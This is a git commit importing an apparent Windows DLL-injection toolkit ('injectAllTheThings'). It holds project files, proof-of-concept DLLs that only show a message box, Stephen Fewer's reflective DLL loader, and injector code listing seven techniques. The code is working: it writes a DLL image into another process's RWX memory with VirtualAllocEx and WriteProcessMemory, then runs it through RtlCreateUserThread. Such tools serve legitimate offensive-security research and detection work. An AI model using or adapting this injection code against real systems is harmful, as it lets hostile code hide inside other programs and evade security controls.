1st import into tree

This commit is contained in:
Rui Reis
2017-07-20 08:56:43 +01:00
parent 31c518439a
commit 5127bb7b90
42 changed files with 3454 additions and 0 deletions
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========================================================================
DYNAMIC LINK LIBRARY : dllmain Project Overview
========================================================================
AppWizard has created this dllmain DLL for you.
This file contains a summary of what you will find in each of the files that
make up your dllmain application.
dllmain.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
dllmain.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
dllmain.cpp
This is the main DLL source file.
When created, this DLL does not export any symbols. As a result, it
will not produce a .lib file when it is built. If you wish this project
to be a project dependency of some other project, you will either need to
add code to export some symbols from the DLL so that an export library
will be produced, or you can set the Ignore Input Library property to Yes
on the General propert page of the Linker folder in the project's Property
Pages dialog box.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named dllmain.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////
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// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"Process attach!", L"Inject All The Things!", 0);
break;
case DLL_THREAD_ATTACH:
//MessageBox(NULL, L"Thread attach!", L"Inject All The Things!", 0);
break;
case DLL_THREAD_DETACH:
//MessageBox(NULL, L"Thread detach!", L"Inject All The Things!", 0);
break;
case DLL_PROCESS_DETACH:
//MessageBox(NULL, L"Process detach!", L"Inject All The Things!", 0);
break;
}
return TRUE;
}
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<ProjectGuid>{BD497C66-2255-4C24-8E9E-2175B41A64A3}</ProjectGuid>
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<Filter Include="Source Files">
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// stdafx.cpp : source file that includes just the standard includes
// dllmain.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
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// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files:
#include <windows.h>
// TODO: reference additional headers your program requires here
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#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>
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#include <windows.h>
#include <stdio.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
//extern "C" __declspec(dllexport) int poc(int code, WPARAM wParam, LPARAM lParam) {
extern "C" __declspec(dllexport) BOOL poc() {
MessageBox(NULL, L"POC called!", L"Inject All The Things!", 0);
//return(CallNextHookEx(NULL, code, wParam, lParam));
return TRUE;
}
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Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Express 2013 for Windows Desktop
VisualStudioVersion = 12.0.31101.0
MinimumVisualStudioVersion = 10.0.40219.1
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Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dllpoc", "dllpoc\dllpoc.vcxproj", "{413B738A-C598-415E-BA76-80C2C9CA1A68}"
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Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "rdll", "rdll\rdll.vcxproj", "{B5709E7C-9A51-4374-92BA-EFB96043B74B}"
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Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|Win32 = Release|Win32
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EndGlobalSection
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{413B738A-C598-415E-BA76-80C2C9CA1A68}.Release|Win32.ActiveCfg = Release|Win32
{413B738A-C598-415E-BA76-80C2C9CA1A68}.Release|Win32.Build.0 = Release|Win32
{413B738A-C598-415E-BA76-80C2C9CA1A68}.Release|x64.ActiveCfg = Release|x64
{413B738A-C598-415E-BA76-80C2C9CA1A68}.Release|x64.Build.0 = Release|x64
{B5709E7C-9A51-4374-92BA-EFB96043B74B}.Debug|Win32.ActiveCfg = Debug|Win32
{B5709E7C-9A51-4374-92BA-EFB96043B74B}.Debug|Win32.Build.0 = Debug|Win32
{B5709E7C-9A51-4374-92BA-EFB96043B74B}.Debug|x64.ActiveCfg = Debug|x64
{B5709E7C-9A51-4374-92BA-EFB96043B74B}.Debug|x64.Build.0 = Debug|x64
{B5709E7C-9A51-4374-92BA-EFB96043B74B}.Release|Win32.ActiveCfg = Release|Win32
{B5709E7C-9A51-4374-92BA-EFB96043B74B}.Release|Win32.Build.0 = Release|Win32
{B5709E7C-9A51-4374-92BA-EFB96043B74B}.Release|x64.ActiveCfg = Release|x64
{B5709E7C-9A51-4374-92BA-EFB96043B74B}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
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//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "GetProcAddressR.h"
//===============================================================================================//
// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which
// wont be able to resolve exported addresses in reflectivly loaded librarys.
FARPROC WINAPI GetProcAddressR(HANDLE hModule, LPCSTR lpProcName)
{
UINT_PTR uiLibraryAddress = 0;
FARPROC fpResult = NULL;
if(hModule == NULL)
return NULL;
// a module handle is really its base address
uiLibraryAddress = (UINT_PTR)hModule;
__try
{
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiNameOrdinals = 0;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
// get the VA of the modules NT Header
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiLibraryAddress + pDataDirectory->VirtualAddress);
// get the VA for the array of addresses
uiAddressArray = (uiLibraryAddress + pExportDirectory->AddressOfFunctions);
// get the VA for the array of name pointers
uiNameArray = (uiLibraryAddress + pExportDirectory->AddressOfNames);
// get the VA for the array of name ordinals
uiNameOrdinals = (uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals);
// test if we are importing by name or by ordinal...
if(((DWORD)lpProcName & 0xFFFF0000) == 0x00000000)
{
// import by ordinal...
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ((IMAGE_ORDINAL((DWORD)lpProcName) - pExportDirectory->Base) * sizeof(DWORD));
// resolve the address for this imported function
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray));
}
else
{
// import by name...
DWORD dwCounter = pExportDirectory->NumberOfNames;
while(dwCounter--)
{
char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32(uiNameArray));
// test if we have a match...
if(strcmp(cpExportedFunctionName, lpProcName) == 0)
{
// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
// calculate the virtual address for the function
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray));
// finish...
break;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
fpResult = NULL;
}
return fpResult;
}
//===============================================================================================//
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//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
//===============================================================================================//
#include "ReflectiveDLLInjection.h"
FARPROC WINAPI GetProcAddressR(HANDLE hModule, LPCSTR lpProcName);
//===============================================================================================//
#endif
//===============================================================================================//
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//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "LoadLibraryR.h"
#include <stdio.h>
#include <Windows.h>
//#include <ntstatus.h>
//===============================================================================================//
DWORD Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress)
{
WORD wIndex = 0;
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
if (dwRva < pSectionHeader[0].PointerToRawData)
return dwRva;
for (wIndex = 0; wIndex < pNtHeaders->FileHeader.NumberOfSections; wIndex++)
{
if (dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData))
return (dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData);
}
return 0;
}
//===============================================================================================//
DWORD GetReflectiveLoaderOffset(VOID * lpReflectiveDllBuffer)
{
UINT_PTR uiBaseAddress = 0;
UINT_PTR uiExportDir = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameOrdinals = 0;
DWORD dwCounter = 0;
#ifdef WIN_X64
DWORD dwCompiledArch = 2;
#else
// This will catch Win32 and WinRT.
DWORD dwCompiledArch = 1;
#endif
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
// get the File Offset of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// currenlty we can only process a PE file which is the same type as the one this fuction has
// been compiled as, due to various offset in the PE structures being defined at compile time.
if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B) // PE32
{
if (dwCompiledArch != 1)
return 0;
}
else if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B) // PE64
{
if (dwCompiledArch != 2)
return 0;
}
else
{
return 0;
}
// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the File Offset of the export directory
uiExportDir = uiBaseAddress + Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress);
// get the File Offset for the array of name pointers
uiNameArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames, uiBaseAddress);
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress);
// get the File Offset for the array of name ordinals
uiNameOrdinals = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals, uiBaseAddress);
// get a counter for the number of exported functions...
dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->NumberOfNames;
// loop through all the exported functions to find the ReflectiveLoader
while (dwCounter--)
{
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset(DEREF_32(uiNameArray), uiBaseAddress));
if (strstr(cpExportedFunctionName, "ReflectiveLoader") != NULL)
{
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress);
// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
// return the File Offset to the ReflectiveLoader() functions code...
return Rva2Offset(DEREF_32(uiAddressArray), uiBaseAddress);
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
return 0;
}
//===============================================================================================//
// Loads a DLL image from memory via its exported ReflectiveLoader function
HMODULE WINAPI LoadLibraryR(LPVOID lpBuffer, DWORD dwLength)
{
HMODULE hResult = NULL;
DWORD dwReflectiveLoaderOffset = 0;
DWORD dwOldProtect1 = 0;
DWORD dwOldProtect2 = 0;
REFLECTIVELOADER pReflectiveLoader = NULL;
DLLMAIN pDllMain = NULL;
if (lpBuffer == NULL || dwLength == 0)
return NULL;
__try
{
// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer);
if (dwReflectiveLoaderOffset != 0)
{
pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset);
// we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader...
// this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region
if (VirtualProtect(lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1))
{
// call the librarys ReflectiveLoader...
pDllMain = (DLLMAIN)pReflectiveLoader();
if (pDllMain != NULL)
{
// call the loaded librarys DllMain to get its HMODULE
if (!pDllMain(NULL, DLL_QUERY_HMODULE, &hResult))
hResult = NULL;
}
// revert to the previous protection flags...
VirtualProtect(lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2);
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
hResult = NULL;
}
return hResult;
}
//===============================================================================================//
// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function
// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// defined in order to use the correct RDI prototypes.
// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space.
// Note: This function currently cant inject accross architectures, but only to architectures which are the
// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64.
HANDLE WINAPI LoadRemoteLibraryR(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter)
{
BOOL bSuccess = FALSE;
LPVOID lpRemoteLibraryBuffer = NULL;
LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;
HANDLE hThread = NULL;
DWORD dwReflectiveLoaderOffset = 0;
DWORD dwThreadId = 0;
PRTL_CREATE_USER_THREAD RtlCreateUserThread = NULL;
__try
{
do
{
if (!hProcess || !lpBuffer || !dwLength)
break;
// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer);
if (!dwReflectiveLoaderOffset)
{
//OutputDebugString("GetReflectiveLoaderOffset FAILED!");
wprintf(TEXT("GetReflectiveLoaderOffset FAILED!"));
break;
}
// alloc memory (RWX) in the host process for the image...
lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!lpRemoteLibraryBuffer)
{
//OutputDebugString("VirtualAllocEx FAILED!");
wprintf(TEXT("VirtualAllocEx FAILED!"));
break;
}
// write the image into the host process...
if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL))
{
//OutputDebugString("WriteProcessMemory FAILED!");
wprintf(TEXT("WriteProcessMemory FAILED!"));
break;
}
// add the offset to ReflectiveLoader() to the remote library address...
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset);
// create a remote thread in the host process to call the ReflectiveLoader!
//OutputDebugString("INJECTING DLL!");
RtlCreateUserThread = (PRTL_CREATE_USER_THREAD)(GetProcAddress(GetModuleHandle(TEXT("ntdll")), "RtlCreateUserThread"));
RtlCreateUserThread(hProcess, NULL, 0, 0, 0, 0, lpReflectiveLoader, lpParameter, &hThread, NULL);
if (hThread == NULL)
{
//OutputDebugString("Injection FAILED!");
wprintf(TEXT("Injection FAILED!"));
break;
}
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, lpRemoteLibraryBuffer, dwLength, MEM_RELEASE);
} while (0);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
hThread = NULL;
}
return hThread;
}
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//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
//===============================================================================================//
#include "ReflectiveDLLInjection.h"
//HANDLE WINAPI LoadRemoteLibraryR(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter);
DWORD GetReflectiveLoaderOffset(VOID * lpReflectiveDllBuffer);
//HMODULE WINAPI LoadLibraryR(LPVOID lpBuffer, DWORD dwLength);
//===============================================================================================//
#endif
//===============================================================================================//
typedef struct _CLIENT_ID
{
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef long(WINAPI * PRTL_CREATE_USER_THREAD)
(
__in HANDLE Process,
__in_opt PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
__in char Flags,
__in_opt ULONG ZeroBits,
__in_opt SIZE_T MaximumStackSize,
__in_opt SIZE_T CommittedStackSize,
__in PTHREAD_START_ROUTINE StartAddress,
__in_opt PVOID Parameter,
__out_opt PHANDLE Thread,
__out_opt PCLIENT_ID ClientId
);
@@ -0,0 +1,53 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_METASPLOIT_ATTACH 4
#define DLL_METASPLOIT_DETACH 5
#define DLL_QUERY_HMODULE 6
#define DEREF(name)*(UINT_PTR *)(name)
#define DEREF_64(name)*(DWORD64 *)(name)
#define DEREF_32(name)*(DWORD *)(name)
#define DEREF_16(name)*(WORD *)(name)
#define DEREF_8(name)*(BYTE *)(name)
typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)(VOID);
typedef BOOL (WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID);
#define DLLEXPORT __declspec(dllexport)
//===============================================================================================//
#endif
//===============================================================================================//
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#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
VOID displayHelp()
{
wprintf(TEXT("injectAllTheThings - rui@deniable.org\n"));
wprintf(TEXT("Usage: injectAllTheThings.exe -t <option> <process name> <path/to/dll>\n"));
wprintf(TEXT("Options:\n"));
wprintf(TEXT(" 1\tDLL injection via CreateRemoteThread()\n"));
wprintf(TEXT(" 2\tDLL injection via NtCreateThreadEx()\n"));
wprintf(TEXT(" 3\tDLL injection via QueueUserAPC()\n"));
wprintf(TEXT(" 4\tDLL injection via SetWindowsHookEx()\n"));
wprintf(TEXT(" 5\tDLL injection via RtlCreateUserThread()\n"));
wprintf(TEXT(" 6\tDLL injection via Code Cave SetThreadContext()\n"));
wprintf(TEXT(" 7\tReflective DLL injection\n"));
}
DWORD findPidByName(wchar_t * pname)
{
HANDLE h;
PROCESSENTRY32 procSnapshot;
h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
procSnapshot.dwSize = sizeof(PROCESSENTRY32);
do
{
if (!_wcsicmp(procSnapshot.szExeFile, pname))
{
DWORD pid = procSnapshot.th32ProcessID;
CloseHandle(h);
#ifdef _DEBUG
wprintf(TEXT("[+] PID found: %ld\n"), pid);
#endif
return pid;
}
} while (Process32Next(h, &procSnapshot));
CloseHandle(h);
return 0;
}
DWORD checkOS()
{
OSVERSIONINFO os_version;
os_version.dwOSVersionInfoSize = sizeof(os_version);
if (GetVersionEx(&os_version))
{
if (os_version.dwMajorVersion == 5)
{
#ifdef _DEBUG
wprintf(TEXT("[+] OS version: Windows XP\n"));
#endif
return(1);
}
if (os_version.dwMajorVersion == 6 && os_version.dwMinorVersion == 0)
{
#ifdef _DEBUG
wprintf(TEXT("[+] OS version: Windows Vista\n"));
#endif
return(2);
}
if (os_version.dwMajorVersion == 6 && os_version.dwMinorVersion == 1)
{
#ifdef _DEBUG
wprintf(TEXT("[+] OS version: Windows 7\n"));
#endif
return(3);
}
}
else
printf("[-] OS version detect failed.\n");
return(0);
}
DWORD getThreadID(DWORD pid)
{
HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (h != INVALID_HANDLE_VALUE)
{
THREADENTRY32 te;
te.dwSize = sizeof(te);
if (Thread32First(h, &te))
{
do
{
if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
{
if (te.th32OwnerProcessID == pid)
{
HANDLE hThread = OpenThread(READ_CONTROL, FALSE, te.th32ThreadID);
if (!hThread)
wprintf(TEXT("[-] Error: Couldn't get thread handle\n"));
else
return te.th32ThreadID;
}
}
} while (Thread32Next(h, &te));
}
}
CloseHandle(h);
return (DWORD)0;
}
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/*
* definitions for auxiliary functions
*/
DWORD findPidByName(wchar_t * pname);
VOID displayHelp();
DWORD checkOS();
